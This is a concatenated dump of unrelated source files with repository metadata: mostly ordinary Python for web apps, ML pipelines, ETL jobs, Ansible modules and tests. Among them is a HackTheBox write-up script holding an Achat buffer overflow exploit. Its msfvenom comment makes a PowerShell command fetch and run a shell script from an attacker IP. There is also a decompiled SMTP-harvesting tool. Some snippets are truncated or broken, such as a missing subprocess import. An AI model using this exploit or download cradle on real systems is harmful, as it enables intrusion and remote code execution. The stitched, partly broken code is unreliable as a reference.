web/src/servicemgr.py
liukai0322/docklet
9e4d1f4fc2e523423b0e94406242a29b20643788
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/python3 import os, json from log import logger class ServiceMgr(): def sys_call(self, command): output = subprocess.getoutput(command).strip() return None if output == '' else output def sys_return(self,command): return_value = subprocess.call(command,shell=True) ...
41.049383
141
0.584962
1ddc56e19fd728b7ec63abfe125860b019a7bdce
172
py
Python
tests/books/__init__.py
showhue/adzuki
23dff5b01905ba3622b4846708c6fd9d2fdd7385
[ "BSD-3-Clause" ]
null
null
null
tests/books/__init__.py
showhue/adzuki
23dff5b01905ba3622b4846708c6fd9d2fdd7385
[ "BSD-3-Clause" ]
5
2019-03-19T22:21:28.000Z
2020-09-16T03:08:56.000Z
tests/books/__init__.py
showhue/adzuki
23dff5b01905ba3622b4846708c6fd9d2fdd7385
[ "BSD-3-Clause" ]
null
null
null
from .abstracttestbooks import AbstractTestBook from .books import Book from .createbookssuite import CreateBooksSuite from .booksoperationsuite import BooksOperationSuite
34.4
52
0.883721
382f243870b47fcfb8357ed8abcebc9a6dee20cd
5,154
py
Python
src/visuanalytics/analytics/util/step_errors.py
visuanalytics/visuanalytics
f9cce7bc9e3227568939648ddd1dd6df02eac752
[ "MIT" ]
3
2020-08-24T19:02:09.000Z
2021-05-27T20:22:41.000Z
src/visuanalytics/analytics/util/step_errors.py
SWTP-SS20-Kammer-2/Data-Analytics
23f71b49efed53bba2887d68e389c732566e1932
[ "MIT" ]
342
2020-08-13T10:24:23.000Z
2021-08-12T14:01:52.000Z
src/visuanalytics/analytics/util/step_errors.py
visuanalytics/visuanalytics
f9cce7bc9e3227568939648ddd1dd6df02eac752
[ "MIT" ]
8
2020-09-01T07:11:18.000Z
2021-04-09T09:02:11.000Z
""" Fehlerklassen """ import functools from typing import Type from requests import Response class StepError(Exception): """ Fehlerklasse für einen Fehler, der in einem der Schritte auftritt. Verwendet `self.__cause__`, um an Informationen eines vorherigen Fehlers zu kommen. Sollte deshalb nur mit e...
27.269841
147
0.641444
383997e56ae35dec5f36a1836c1fe3c619d49a92
3,004
py
Python
2019/quals/pwn-regex/sol.py
iicarus-bit/google-ctf
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
[ "Apache-2.0" ]
2,757
2018-04-28T21:41:36.000Z
2022-03-29T06:33:36.000Z
2019/quals/pwn-regex/sol.py
iicarus-bit/google-ctf
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
[ "Apache-2.0" ]
20
2019-07-23T15:29:32.000Z
2022-01-21T12:53:04.000Z
2019/quals/pwn-regex/sol.py
iicarus-bit/google-ctf
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
[ "Apache-2.0" ]
449
2018-05-09T05:54:05.000Z
2022-03-30T14:54:18.000Z
# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
21.611511
123
0.603196
386f062a6fca382c00f0c1f16ee01031de6f6369
1,888
py
Python
Src/identifier.py
hazemalsaied/IdenSys
9b6220ff7e65f7059240b742c81952132a765007
[ "MIT" ]
2
2017-09-28T13:54:57.000Z
2018-06-28T05:03:06.000Z
Src/identifier.py
hazemalsaied/IdenSys
9b6220ff7e65f7059240b742c81952132a765007
[ "MIT" ]
null
null
null
Src/identifier.py
hazemalsaied/IdenSys
9b6220ff7e65f7059240b742c81952132a765007
[ "MIT" ]
null
null
null
import logging import os import sys from oracles import train from corpus import Corpus from evaluation import evaluate from param import FeatParams, XPParams, Paths from parsers import parse def identify(): # iterate over Sharedtask languages: for configFile in os.listdir(Paths.configsFolder): if not...
29.5
94
0.604343
2a532fb48ba3140185a9b9143b3e984db62c3f9b
314
py
Python
Web/run.py
Phangzs/AST
ddc84ff19cbb0a92546505237c7c922e17a36eb3
[ "MIT" ]
null
null
null
Web/run.py
Phangzs/AST
ddc84ff19cbb0a92546505237c7c922e17a36eb3
[ "MIT" ]
null
null
null
Web/run.py
Phangzs/AST
ddc84ff19cbb0a92546505237c7c922e17a36eb3
[ "MIT" ]
null
null
null
from flask import request from flask import render_template from flask import Flask app = Flask(__name__) @app.route("/",methods = ['POST','GET']) def hello(): if request.method == "POST": file = request.files["olleh"] file.save("raw_input") return "Submitted".title() return render_template("index.html")
26.166667
40
0.716561
6331c86f612f47c7cb5896bb3e6574d6e86ae0f8
5,913
py
Python
notebooks/1-workflow/model/pipeline_train.py
data-science-workshops/machine-learning-workflow
b7880ccc6c573ee2e8d5d4353e22a2f3a1f45d13
[ "MIT" ]
null
null
null
notebooks/1-workflow/model/pipeline_train.py
data-science-workshops/machine-learning-workflow
b7880ccc6c573ee2e8d5d4353e22a2f3a1f45d13
[ "MIT" ]
null
null
null
notebooks/1-workflow/model/pipeline_train.py
data-science-workshops/machine-learning-workflow
b7880ccc6c573ee2e8d5d4353e22a2f3a1f45d13
[ "MIT" ]
null
null
null
from os import path, environ as env import numpy as np import pandas as pd import cloudpickle as pickle from sklearn_pandas import DataFrameMapper, cross_val_score from sklearn.pipeline import FeatureUnion from sklearn.preprocessing import Imputer, MinMaxScaler, Normalizer, StandardScaler, LabelBinarizer from sklearn.t...
33.03352
116
0.606968
2df3231e0ce1ea18b7c8ef33688a9436416f1e75
1,379
py
Python
casts/urls.py
rocky-roll-call/rrc-backend
02e8e11c3dab7661e48650e2e861a4a97788a4ce
[ "MIT" ]
null
null
null
casts/urls.py
rocky-roll-call/rrc-backend
02e8e11c3dab7661e48650e2e861a4a97788a4ce
[ "MIT" ]
null
null
null
casts/urls.py
rocky-roll-call/rrc-backend
02e8e11c3dab7661e48650e2e861a4a97788a4ce
[ "MIT" ]
null
null
null
from django.urls import path from .views import ( CastRetrieveUpdateDestroy, CastSlugRetrieveUpdateDestroy, CastMemberManager, CastManagerManager, CastMemberRequestManager, CastBlockedManager, CastPhotoListCreate, CastPhotoRetrieveUpdateDestroy, PageSectionListCreate, PageSection...
32.069767
88
0.662799
93243f4eaf34e1db36319f69fad371ebf2e1493a
2,331
py
Python
api/__init__.py
Latent-Lxx/dazhou-dw
902b4b625cda4c9e4eb205017b8955b81f37a0b5
[ "MIT" ]
null
null
null
api/__init__.py
Latent-Lxx/dazhou-dw
902b4b625cda4c9e4eb205017b8955b81f37a0b5
[ "MIT" ]
null
null
null
api/__init__.py
Latent-Lxx/dazhou-dw
902b4b625cda4c9e4eb205017b8955b81f37a0b5
[ "MIT" ]
1
2022-02-11T04:44:37.000Z
2022-02-11T04:44:37.000Z
# !/usr/bin/python3 # -*- coding: utf-8 -*- # @Time : 2021/6/4 下午1:59 # @Author : Latent # @Email : latentsky@gmail.com # @File : __init__.py.py # @Software: PyCharm· # @PS : run main class from elec import Elec from etl.ods_extract import Ods_Extract from etl.ods_transform import Ods_Transform from etl.ods_load import...
37.596774
100
0.452595
fa9a62d117e0d449e82d5602d10afd07ff5ac678
13,009
py
Python
grafos.py
andrevictor17/aulasRenzoEd
931d73f5d20e7a3c837f175131bf3a271c7f375f
[ "MIT" ]
null
null
null
grafos.py
andrevictor17/aulasRenzoEd
931d73f5d20e7a3c837f175131bf3a271c7f375f
[ "MIT" ]
null
null
null
grafos.py
andrevictor17/aulasRenzoEd
931d73f5d20e7a3c837f175131bf3a271c7f375f
[ "MIT" ]
null
null
null
class Arco(): def __init__(self, origem, destino, valor): self.vertices = (origem, destino) self.valor = valor def oposto(self, cidade): if cidade != self.vertices[0]: return self.vertices[0] return self.vertices[1] def __hash__(self): return hash(self.v...
38.261765
169
0.626566
17e3d9b919ab068c45360f6ec700d0dec305e723
1,770
py
Python
frds/algorithms/isolation_forest/__init__.py
mgao6767/wrds
7dca2651a181bf38c61ebde675c9f64d6c96f608
[ "MIT" ]
null
null
null
frds/algorithms/isolation_forest/__init__.py
mgao6767/wrds
7dca2651a181bf38c61ebde675c9f64d6c96f608
[ "MIT" ]
null
null
null
frds/algorithms/isolation_forest/__init__.py
mgao6767/wrds
7dca2651a181bf38c61ebde675c9f64d6c96f608
[ "MIT" ]
null
null
null
"""Isolation Forest""" import numpy as np import pandas as pd import frds.algorithms.isolation_forest.iforest_ext as ext # C++ extension def anomaly_scores( data: pd.DataFrame, forest_size: int = 1000, tree_size: int = 256, exclude_cols: list = None, random_seed: int = 1021, name: str = "An...
40.227273
95
0.70565
eac196c7f40558cdbe6ed7c886061686b6d12f65
3,616
py
Python
datastories_semeval2017_task4/models/nn_models.py
florianfricke/Bachelor_Thesis_Sentiment_Analyse
aa1fa95cfbc13115ee60baaf79eab0d1940998ab
[ "MIT" ]
1
2020-06-04T13:20:45.000Z
2020-06-04T13:20:45.000Z
datastories_semeval2017_task4/models/nn_models.py
florianfricke/Bachelor_Thesis_Sentiment_Analyse
aa1fa95cfbc13115ee60baaf79eab0d1940998ab
[ "MIT" ]
6
2020-06-03T18:45:11.000Z
2022-02-10T01:51:03.000Z
datastories_semeval2017_task4/models/nn_models.py
florianfricke/Bachelor_Thesis_Sentiment_Analyse
aa1fa95cfbc13115ee60baaf79eab0d1940998ab
[ "MIT" ]
null
null
null
from keras.constraints import maxnorm from keras.engine import Input from keras.engine import Model from keras.layers import Dropout, Dense, Bidirectional, LSTM, \ Embedding, GaussianNoise, Activation, Flatten, \ RepeatVector, MaxoutDense from keras.models import Sequential from keras.optimizers import Adam fro...
37.666667
107
0.668971
5215a7a73f1bd220f9850ebd5a419a64d0a1cdb7
1,415
py
Python
Python/zzz_training_challenge/Python_Challenge/solutions/ch07_recursion_advanced/intro/pascal_with_memo_built_in.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/Python_Challenge/solutions/ch07_recursion_advanced/intro/pascal_with_memo_built_in.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/Python_Challenge/solutions/ch07_recursion_advanced/intro/pascal_with_memo_built_in.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
# Beispielprogramm für das Buch "Python Challenge" # # Copyright 2020 by Michael Inden import functools import time def decorate_with_memo_shorter(func): lookup_map = dict() @functools.wraps(func) def helper(*args): if args not in lookup_map: lookup_map[args] = func(*args) ...
21.769231
68
0.623322
0de72c2207695f66b77d0fde987902a32b0a3709
594
py
Python
Statistik_Covid-19_Indonesia-main/covid.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
Statistik_Covid-19_Indonesia-main/covid.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
Statistik_Covid-19_Indonesia-main/covid.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
#Statistik Covid-19 Indonesia # Official Blog : https://www.blog-gan.org ############################## import requests from time import time as timer import time from re import findall as reg year = time.strftime('%d/%m/%y') print('\033[33mStatistik Covid-19 Indonesia' + ' ' + year) covid = requests.get('https://...
31.263158
62
0.654882
21d6f4d8a4f3dcb1fcc33bc6c764182992f32f92
2,575
py
Python
pyUnnenberg/vws.py
DominikAuras/pyUnnenberg
f3ad87b71ccd25b9231c19e3f4a4f7d1c053028b
[ "MIT" ]
null
null
null
pyUnnenberg/vws.py
DominikAuras/pyUnnenberg
f3ad87b71ccd25b9231c19e3f4a4f7d1c053028b
[ "MIT" ]
null
null
null
pyUnnenberg/vws.py
DominikAuras/pyUnnenberg
f3ad87b71ccd25b9231c19e3f4a4f7d1c053028b
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import urllib, logging # module-level logger ml = logging.getLogger('VWS') ml.addHandler(logging.NullHandler()) class vws(object): def __init__(self,**kwargs): """ keywords arguments vws, img_relpath, resolution, channel, dont_initialize """ ...
31.790123
135
0.666408
d5934ae6bfe438f63fc92a164ec14a937fc7097f
288
py
Python
BITs/2014/Baybulatova_Karina_V/task1_3.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
BITs/2014/Baybulatova_Karina_V/task1_3.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
BITs/2014/Baybulatova_Karina_V/task1_3.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
#Вильгельм Аполлинарий Костровицкий #Программа сообщает псевдоним и род деятельности КостровскогоВ.А #Байбулатова К.В. #29.02.2016 print("Гийом Аполлинер,французский поэт, один из наиболее влиятельных деятелей европейского авангарда начала XX века\n") input(" Нажмите Enter для выхода")
36
120
0.819444
891f3fa9aab33277639bed9e4a7cceb0996d8d7f
4,119
py
Python
v308_1/python/plots.py
chrbeckm/anfaenger-praktikum
51764ff23901de1bc3d16dc935acfdc66bb2b2b7
[ "MIT" ]
2
2019-12-10T10:25:11.000Z
2021-01-26T13:59:40.000Z
v308_1/python/plots.py
chrbeckm/anfaenger-praktikum
51764ff23901de1bc3d16dc935acfdc66bb2b2b7
[ "MIT" ]
null
null
null
v308_1/python/plots.py
chrbeckm/anfaenger-praktikum
51764ff23901de1bc3d16dc935acfdc66bb2b2b7
[ "MIT" ]
1
2020-12-06T21:24:58.000Z
2020-12-06T21:24:58.000Z
import matplotlib.pyplot as plt import numpy as np def Bvektor(x, k, L, R, I): return(2*np.pi*10**(-3)*k*I*((x+L)/np.sqrt((x+L)**2+R**2) - x/np.sqrt(x**2+R**2))) print('Lange Spule') m = np.linspace(-22, 6) plt.plot(-m, Bvektor(m, 300, 16, 2.05, 0.75), 'r--', label="Theorie, I = 0,75 A") plt.plot(-m, Bvektor(m,...
27.46
86
0.628065
989c88d556952e87a51059a407255ec2fb667f92
289
py
Python
python/coursera_python/MICHIGAN/Programming For Everybody using python/3_1.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/coursera_python/MICHIGAN/Programming For Everybody using python/3_1.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/coursera_python/MICHIGAN/Programming For Everybody using python/3_1.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
hrs = input("Enter Hours:") h = float(hrs) rate0 = input("Enter rate:") rate1 = float(rate0) rate2 = float(rate0)*1.5 if h<=40: wage = float(rate1 * h) elif h>40: rq1=float(rate1 * 40.0) hr2=float(h - 40.0) rq2=float(rate2*hr2) wage = float(rq1 +rq2 ) print(wage)
19.266667
28
0.598616
7f6aab91cf0ec747d089011b1c6a0a989f9a0509
152
py
Python
kernel/blog/views.py
sageteam/behpack
3b8afb81dc7da70807308af4c8a2d2ab92b1a133
[ "MIT" ]
null
null
null
kernel/blog/views.py
sageteam/behpack
3b8afb81dc7da70807308af4c8a2d2ab92b1a133
[ "MIT" ]
null
null
null
kernel/blog/views.py
sageteam/behpack
3b8afb81dc7da70807308af4c8a2d2ab92b1a133
[ "MIT" ]
null
null
null
from django.shortcuts import render import secrets from accounts.models import User from painless import functions as func # Create your views here.
16.888889
38
0.815789
7faadbe9971488a40caedb94effaa5d5aae0066b
6,775
py
Python
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/network/icx/icx_banner.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/network/icx/icx_banner.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/network/icx/icx_banner.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
#!/usr/bin/python # Copyright: Ansible Project # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], ...
31.365741
126
0.641624
f62b43ad314e80bffddd3c3be954894052436b5f
587
py
Python
Utils/py/GoPro/utils/CheckBluetooth.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
Utils/py/GoPro/utils/CheckBluetooth.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
Utils/py/GoPro/utils/CheckBluetooth.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
import time from utils.Bluetooth import Bluetooth class CheckBluetooth: def __init__(self, mac): print('Set beep ON for', mac) try: bt = Bluetooth(mac, True) bt.setBeepOn().start() bt.join() print('Beep for 3 seconds ...') time.sleep(3...
21.740741
56
0.517888
9c87ca4d989c3ece4b6bcebb3b5e3dfad2712a8b
744
py
Python
backend/app/db/session.py
jinnn-dev/patholearn
b4e6a18cfbf963e71640ed6cac3fc3a618a7ae15
[ "MIT" ]
1
2022-02-20T12:45:04.000Z
2022-02-20T12:45:04.000Z
backend/app/db/session.py
JamesNeumann/learning-by-annotations
c2b5e4b653eeb1c973aa5a7dad35ac8be18cb1ad
[ "MIT" ]
21
2021-11-01T10:13:56.000Z
2021-12-02T10:02:13.000Z
backend/app/db/session.py
jinnn-dev/patholearn
b4e6a18cfbf963e71640ed6cac3fc3a618a7ae15
[ "MIT" ]
1
2021-12-16T18:20:55.000Z
2021-12-16T18:20:55.000Z
from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker, Session from app.core.config import settings """ Database connection configuration and connection creation """ engine = create_engine(settings.DATABASE_URL, pool_pre_ping=True) SessionLocal = sessionmaker(autocommit=False, autoflus...
26.571429
76
0.712366
25ffdfe6308a6a90b26b3d4800e5532e166a7f7a
5,060
py
Python
Boot2Root/hackthebox/Chatterbox/scripts/36025.py
Kan1shka9/CTFs
33ab33e094ea8b52714d5dad020c25730e91c0b0
[ "MIT" ]
21
2016-02-06T14:30:01.000Z
2020-09-11T05:39:17.000Z
Boot2Root/hackthebox/Chatterbox/scripts/36025.py
Kan1shka9/CTFs
33ab33e094ea8b52714d5dad020c25730e91c0b0
[ "MIT" ]
null
null
null
Boot2Root/hackthebox/Chatterbox/scripts/36025.py
Kan1shka9/CTFs
33ab33e094ea8b52714d5dad020c25730e91c0b0
[ "MIT" ]
7
2017-02-02T16:27:02.000Z
2021-04-30T17:14:53.000Z
#!/usr/bin/python # Author KAhara MAnhara # Achat 0.150 beta7 - Buffer Overflow # Tested on Windows 7 32bit import socket import sys, time # msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.10.14.16/sample.shell')\"" -e x86/unicode_mi...
55
726
0.656719
e221c5273ce060bb44bf667e80462c13a3f7f473
3,380
py
Python
plugins/tff_backend/bizz/intercom_helpers.py
threefoldfoundation/app_backend
b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a
[ "Apache-2.0" ]
null
null
null
plugins/tff_backend/bizz/intercom_helpers.py
threefoldfoundation/app_backend
b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a
[ "Apache-2.0" ]
178
2017-08-02T12:58:06.000Z
2017-12-20T15:01:12.000Z
plugins/tff_backend/bizz/intercom_helpers.py
threefoldfoundation/app_backend
b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a
[ "Apache-2.0" ]
2
2018-01-10T10:43:12.000Z
2018-03-18T10:42:23.000Z
# -*- coding: utf-8 -*- # Copyright 2017 GIG Technology NV # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable...
37.977528
116
0.74497
e23dab4b9eb7724cbbba60409b9bed832630fcb0
18,587
py
Python
examples/information_extraction/DuUIE/run_seq2struct.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
examples/information_extraction/DuUIE/run_seq2struct.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
examples/information_extraction/DuUIE/run_seq2struct.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import logging import argparse import math import os import paddle from paddle.optimizer import AdamW from paddle.amp import GradScaler, auto_cast from paddlenlp.transformers import T5ForConditionalGeneration from uie.evaluation.sel2record import evaluate_extraction_resul...
33.550542
102
0.587884
205058a6120a5c3c06de552933fe468f39e93d99
638
py
Python
Workflow/views.py
wmles/scholarium.at
d2356b3e475df772382e035ddcb839fc7dae4305
[ "MIT" ]
1
2017-07-24T10:19:36.000Z
2017-07-24T10:19:36.000Z
Workflow/views.py
wmles/scholarium.at
d2356b3e475df772382e035ddcb839fc7dae4305
[ "MIT" ]
9
2017-07-26T14:16:08.000Z
2022-03-11T23:14:40.000Z
Workflow/views.py
wmles/scholarium.at
d2356b3e475df772382e035ddcb839fc7dae4305
[ "MIT" ]
1
2017-03-07T12:38:23.000Z
2017-03-07T12:38:23.000Z
from django.shortcuts import render from django.contrib.admin.views.decorators import staff_member_required from .forms import Rechnung2PdfForm skripte_dir = "/home/scholarium/Skripte/" python_bin = skripte_dir+"venv/bin/python3.6" @staff_member_required def control_view(request): if request.method == 'POST': ...
26.583333
74
0.705329
8094aea23a36865cddac222210edebf13a57e2c1
347
py
Python
WD/Cwiczenia/Slowniki_Listy_krotki.py
galursa/UWM
b7ab4a275662764a91af6c5bc79da0d98177d0ac
[ "MIT" ]
1
2020-02-29T14:38:33.000Z
2020-02-29T14:38:33.000Z
WD/Cwiczenia/Slowniki_Listy_krotki.py
galursa/UWM
b7ab4a275662764a91af6c5bc79da0d98177d0ac
[ "MIT" ]
null
null
null
WD/Cwiczenia/Slowniki_Listy_krotki.py
galursa/UWM
b7ab4a275662764a91af6c5bc79da0d98177d0ac
[ "MIT" ]
null
null
null
#lista lista=[2, 4, 5] print(lista) lista.append("Ala") print("\n") print(lista) #krotki krotka=(2, 4, 5) print(krotka) lista[2]=4 print("\n") print(lista) slownik={'CAD':'CAD komputerowe wspomaganie projektowania', 'WD':'Wizualizacja danych', 'AISD':'Algorytmy i Struktury Danych'} ...
16.52381
60
0.616715
80ba4a175e991ca83b3aee6248d306ef0efc8793
3,977
py
Python
tests/api/test_news_feed.py
DanielGrams/cityservice
c487c34b5ba6541dcb441fe903ab2012c2256893
[ "MIT" ]
null
null
null
tests/api/test_news_feed.py
DanielGrams/cityservice
c487c34b5ba6541dcb441fe903ab2012c2256893
[ "MIT" ]
35
2022-01-24T22:15:59.000Z
2022-03-31T15:01:35.000Z
tests/api/test_news_feed.py
DanielGrams/cityservice
c487c34b5ba6541dcb441fe903ab2012c2256893
[ "MIT" ]
null
null
null
import pytest from tests.seeder import Seeder from tests.utils import UtilActions @pytest.mark.parametrize("auth", ["none", "normal", "admin"]) def test_list(client, seeder: Seeder, utils: UtilActions, auth): seeder.create_news_feed() if auth == "normal": seeder.setup_base(admin=False) elif auth...
29.902256
90
0.654765
2feaae38b7f5cc4abde8e100472a8a8c6af46f9f
158
py
Python
Pythonjunior2020/Woche2/Aufgabe_2_3_3.py
Zeyecx/HPI-Potsdam
ed45ca471cee204dde74dd2c3efae3877ee71036
[ "MIT" ]
null
null
null
Pythonjunior2020/Woche2/Aufgabe_2_3_3.py
Zeyecx/HPI-Potsdam
ed45ca471cee204dde74dd2c3efae3877ee71036
[ "MIT" ]
null
null
null
Pythonjunior2020/Woche2/Aufgabe_2_3_3.py
Zeyecx/HPI-Potsdam
ed45ca471cee204dde74dd2c3efae3877ee71036
[ "MIT" ]
null
null
null
# 2.1.3, Woche 2, Block 1, Aufgabe 3 # Import from turtle import * import time # Malen for a in range(10): forward(100) right(108) # Pause time.sleep(5)
12.153846
36
0.670886
64090e7111e3db8df4e88a247cf17ada92814387
4,449
py
Python
evo_algorithm/ea_combined_aspects/test_ea_combined.py
MateRyze/InformatiCup-2019
eeca3ff7f8a102f4093697c6badee21ce25e2e87
[ "MIT" ]
3
2019-03-21T17:02:55.000Z
2019-04-04T18:16:10.000Z
evo_algorithm/ea_combined_aspects/test_ea_combined.py
MateRyze/InformatiCup-2019
eeca3ff7f8a102f4093697c6badee21ce25e2e87
[ "MIT" ]
11
2019-10-30T12:05:39.000Z
2022-03-11T23:43:54.000Z
evo_algorithm/ea_combined_aspects/test_ea_combined.py
MateRyze/InformatiCup-2019
eeca3ff7f8a102f4093697c6badee21ce25e2e87
[ "MIT" ]
1
2019-10-30T12:04:00.000Z
2019-10-30T12:04:00.000Z
import ea_combined import unittest class Test_EA(unittest.TestCase): def setUp(self): ea_combined.population.clear() ea_combined.api_calls = 0 ea_combined.stop = False def test_init_population(self): self.assertEqual(len(ea_combined.population), 0) ea_combined.initPop...
40.081081
76
0.558777
4490398d0d0ba58433accdffaa10a0bcf0257cd9
4,265
py
Python
frappe-bench/apps/erpnext/erpnext/accounts/report/utils.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/accounts/report/utils.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/accounts/report/utils.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
import frappe from erpnext import get_company_currency, get_default_company from erpnext.setup.utils import get_exchange_rate from frappe.utils import cint __exchange_rates = {} P_OR_L_ACCOUNTS = list( sum(frappe.get_list('Account', fields=['name'], or_filters=[{'root_type': 'Income'}, {'root_type': 'Expense'}], as_l...
33.062016
142
0.762251
a6e29047d78b72df6c745deba37e043dcb28074e
2,554
py
Python
research/cv/dem/src/utils.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/dem/src/utils.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/dem/src/utils.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
32.329114
78
0.613547
5b28dfb77642141fb8c6e4e2d54a60456013c948
2,054
py
Python
Tools/getSMTP.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
Tools/getSMTP.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
Tools/getSMTP.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
# uncompyle6 version 2.11.5 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.18 (default, Apr 20 2020, 20:30:41) # [GCC 9.3.0] # Embedded file name: Tools\getSMTP.py import requests import re Headers = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'} def GETSmtpJ...
41.08
193
0.516553
5b9f86469352eaa6805311fb7eff692a139a6a3c
232
py
Python
Programming Languages/Python/Theory/100_Python_Challenges/Section_2_String/23. swap two strings without using third variable.py
jaswinder9051998/Resources
fd468af37bf24ca57555d153ee64693c018e822e
[ "MIT" ]
101
2021-12-20T11:57:11.000Z
2022-03-23T09:49:13.000Z
Programming Languages/Python/Theory/100_Python_Challenges/Section_2_String/23. swap two strings without using third variable.py
Sid-1164/Resources
3987dcaeddc8825f9bc79609ff26094282b8ece1
[ "MIT" ]
4
2022-01-12T11:55:56.000Z
2022-02-12T04:53:33.000Z
Programming Languages/Python/Theory/100_Python_Challenges/Section_2_String/23. swap two strings without using third variable.py
Sid-1164/Resources
3987dcaeddc8825f9bc79609ff26094282b8ece1
[ "MIT" ]
38
2022-01-12T11:56:16.000Z
2022-03-23T10:07:52.000Z
